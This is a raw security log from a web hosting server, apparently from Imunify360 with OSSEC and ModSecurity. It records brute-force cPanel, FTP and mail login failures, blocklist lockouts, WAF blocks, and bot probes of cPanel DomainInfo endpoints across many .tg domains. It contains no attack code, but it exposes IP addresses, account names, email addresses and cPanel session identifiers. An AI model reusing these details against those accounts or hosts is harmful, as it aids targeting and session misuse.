name: Anti-bot protection. User passed successfully
abuser: 185.220.101.146
country_id: 2921044
description:
185.220.101.146 - mgvybwur [12/Jun/2026:22:15:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066072&pdata=https%253A%252F%252Ffundacionesperanzatogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302535 HTTP/2.0" 302 0 fundacionesperanzatogo.tg "https://fundacionesperanzatogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.146


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.94.161
country_id: 2635167
description:
[2026-06-12 22:17:06 +0000] info [cpaneld] 217.181.94.161 - phoicdxb "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.25.243
country_id: 2635167
description:
[2026-06-12 22:17:10 +0000] info [cpaneld] 195.63.25.243 - rdlizssu "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 124.156.195.67
country_id: 1880251
description:
124.156.195.67 - - [12/Jun/2026:22:17:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7368134&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-mana-palanga-nouveau-secretaire-general-de-la-federation-togolaise-de-football%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302630 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-mana-palanga-nouveau-secretaire-general-de-la-federation-togolaise-de-football/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:124.156.195.67


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.223.84.84
country_id: 6251999
description:
104.223.84.84 - vejjghdd [12/Jun/2026:22:16:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13225107&pdata=https%253A%252F%252Fnps.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302602 HTTP/2.0" 302 0 nps.tg "https://nps.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.223.84.84


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.99.105.93
country_id: 3469034
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/home HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.114.27.92
country_id: 953987
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/product/show/djama-lager HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.189.100.204
country_id: 2661886
description:
193.189.100.204 - egjvuiox [12/Jun/2026:22:18:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002949&pdata=https%253A%252F%252Fca-togo.org%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302698 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.189.100.204


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.80.84
country_id: 6251999
description:
[2026-06-12 22:18:34 +0000] info [cpaneld] 217.181.80.84 - newglevfer "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.80.194
country_id: 6251999
description:
[2026-06-12 22:18:15 +0000] info [cpaneld] 217.181.80.194 - fgbegmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.189.100.204
country_id: 2661886
description:
[2026-06-12 22:18:20 +0000] info [cpaneld] 193.189.100.204 - egjvuiox "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.132
country_id: 2963597
description:
Jun 12 22:18:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.132 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.189.100.204
country_id: 2661886
description:
193.189.100.204 - oviaiart [12/Jun/2026:22:19:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792365&pdata=https%253A%252F%252Fkloto1.mairie.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302787 HTTP/2.0" 302 0 kloto1.mairie.tg "https://kloto1.mairie.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.189.100.204


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.42
country_id: 2750405
description:
192.42.116.42 - libertepansel [12/Jun/2026:22:20:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117724&pdata=https%253A%252F%252Flibertetogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302806 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.42


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.81.30
country_id: 6251999
description:
[2026-06-12 22:19:20 +0000] info [cpaneld] 217.181.81.30 - pnlpzmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.42
country_id: 2750405
description:
192.42.116.42 - lhqeyybr [12/Jun/2026:22:20:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158291&pdata=https%253A%252F%252Flvdt.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302822 HTTP/2.0" 302 0 lvdt.tg "https://lvdt.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.42


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 164.215.103.71
country_id: 241170
description:
Jun 12 22:20:57 ns5 pure-ftpd[1924145]: (?@164.215.103.71) [INFO] New connection from 164.215.103.71


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.167
country_id: 2921044
description:
185.220.101.167 - pkyvzjjc [12/Jun/2026:22:21:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128476&pdata=https%253A%252F%252Fsocial-infos.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302876 HTTP/2.0" 302 0 social-infos.tg "https://social-infos.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.167


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 22:21:45 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.211.100.92
country_id: 3469034
description:
Jun 12 22:22:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.211.100.92 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 128.31.0.13
country_id: 6252001
description:
128.31.0.13 - ttfuehop [12/Jun/2026:22:22:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646119&pdata=https%253A%252F%252Fmftogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302939 HTTP/2.0" 302 0 mftogo.tg "https://mftogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:128.31.0.13


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.55.81.1
country_id: 3017382
description:
203.55.81.1 - mipbtgnb [12/Jun/2026:22:22:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999305&pdata=https%253A%252F%252Fsophie-immobilier.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302955 HTTP/2.0" 302 0 sophie-immobilier.tg "https://sophie-immobilier.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.55.81.1


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 107.189.10.175
country_id: 2960313
description:
107.189.10.175 - hphhdcxi [12/Jun/2026:22:23:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6735770&pdata=https%253A%252F%252Ftest.free.netmaster.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781303017 HTTP/2.0" 302 0 test.free.netmaster.tg "https://test.free.netmaster.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:107.189.10.175


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 107.189.13.254
country_id: 2960313
description:
107.189.13.254 - naduwpdk [12/Jun/2026:22:23:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066276&pdata=https%253A%252F%252Ftilitulab.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781303032 HTTP/2.0" 302 0 tilitulab.tg "https://tilitulab.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:107.189.13.254


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.249.73.34
country_id: 2635167
description:
Jun 12 22:23:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.249.73.34 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 22:24:27 ns5 pure-ftpd[1926272]: (?@137.184.97.15) [WARNING] Authentication failed for user [Fre]


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.153.38
country_id: 1880251
domain: ucao-uut.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/inscription/ucaoinscription/vendor/symfony/translation/Resources/schemas/xliff-core-1.2-strict.xsd||User:ucaouut||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 12 22:31:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.137.128
country_id: 1880251
domain: ucao-uut.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/inscription/ucaoinscription/vendor/phpunit/phpunit/phpunit.xsd||User:ucaouut||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.92.38.60
country_id: 2661886
description:
Jun 12 22:32:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.92.38.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.38.60
country_id: 2661886
description:
2026-06-12 22:33:01 dovecot_plain authenticator failed for H=longfellow.logicserver.co.uk (9x12zltm83h0i0izn7) [45.92.38.60]:63730: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 22:34:52 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.93.195
country_id: 3469034
description:
Jun 12 22:35:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.93.195 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.243.47.83
country_id: 2017370
description:
[2026-06-12 22:36:26 +0000] info [cpaneld] 94.243.47.83 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.74.121.5
country_id: 1562822
description:
2026-06-12 22:36:41 dovecot_plain authenticator failed for H=(t0hnzf84chq3akr3l09fslhcv70370og) [103.74.121.5]:34452: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.8.11.197
country_id: 3895114
description:
[2026-06-12 22:36:59 +0000] info [cpaneld] 179.8.11.197 - vi "GET /login/?login_only=1&user=vi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.163.32.6
country_id: 2635167
description:
[2026-06-12 22:36:28 +0000] info [cpaneld] 86.163.32.6 - vitrinenews "GET /login/?login_only=1&user=vitrinenews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinenews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.22.16.89
country_id: 1605651
description:
[2026-06-12 22:36:32 +0000] info [cpaneld] 184.22.16.89 - vitrinenewstg "GET /login/?login_only=1&user=vitrinenewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinenewstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.234.245.139
country_id: 298795
description:
[2026-06-12 22:36:46 +0000] info [cpaneld] 88.234.245.139 - vitrin "GET /login/?login_only=1&user=vitrin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.31.166.31
country_id: 290557
description:
[2026-06-12 22:36:51 +0000] info [cpaneld] 5.31.166.31 - vitr "GET /login/?login_only=1&user=vitr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 125.212.159.251
country_id: 1562822
description:
125.212.159.251 - - [12/Jun/2026:22:40:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738899&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fhomme-marie-qui-refuse-de-manger-le-repas-de-sa-femme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781304034 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/homme-marie-qui-refuse-de-manger-le-repas-de-sa-femme/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.4333.1295 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:125.212.159.251


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.76.223
country_id: 2363686
description:
[2026-06-12 22:41:08 +0000] info [cpaneld] 196.170.76.223 NEW jvrzfkho:3eHH4tJqDimE5zcc address=196.170.76.223,app=cpaneld,creator=jvrzfkho,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:22:41:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6801001&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781304070 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.35.178.104
country_id: 732800
description:
Jun 12 22:43:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.35.178.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 12 22:44:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 12 22:43:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 22:43:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.98.41.27
country_id: 1269750
description:
Jun 12 22:44:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.98.41.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 12 22:44:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.226.88.121
country_id: 2661886
description:
Jun 12 22:44:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.226.88.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.206.67.83
country_id: 241170
description:
Jun 12 22:44:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.206.67.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 22:44:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 12 22:44:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 12 22:44:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 12 22:44:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 22:45:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 12 22:45:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
Jun 12 22:45:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.213.83.134
country_id: 1643084
description:
185.213.83.134 - - [12/Jun/2026:22:46:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7367838&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fadministration%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781304398 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/administration/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.213.83.134


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 22:46:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.165
country_id: 732800
description:
Jun 12 22:46:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.164
country_id: 3865483
description:
Jun 12 22:46:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 22:46:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.47.99.66
country_id: 3077311
description:
Jun 12 22:47:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.47.99.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 148.222.185.43
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-49.148.222.185.43||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.5.203
country_id: 2363686
description:
[2026-06-12 22:49:32 +0000] info [cpaneld] 196.171.5.203 NEW pnls:6Pr2y8I92iwb06z3 address=196.171.5.203,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.230
country_id: 3469034
description:
Jun 12 22:49:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.230 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.13.22.17
country_id: 1522867
description:
[2026-06-12 22:52:11 +0000] info [cpaneld] 185.13.22.17 - td "GET /login/?login_only=1&user=td&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user td (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.176.72.151
country_id: 3932488
description:
[2026-06-12 22:52:06 +0000] info [cpaneld] 181.176.72.151 - tdn "GET /login/?login_only=1&user=tdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdn (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.229.125.225
country_id: 6252001
domain: sodigaz.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:23.229.125.225||TA:23.229.125.225||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 12 22:58:12 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 12 22:58:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 22:59:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 12 22:58:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.100.16.74
country_id: 2017370
description:
Jun 12 22:58:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.100.16.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 12 22:58:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
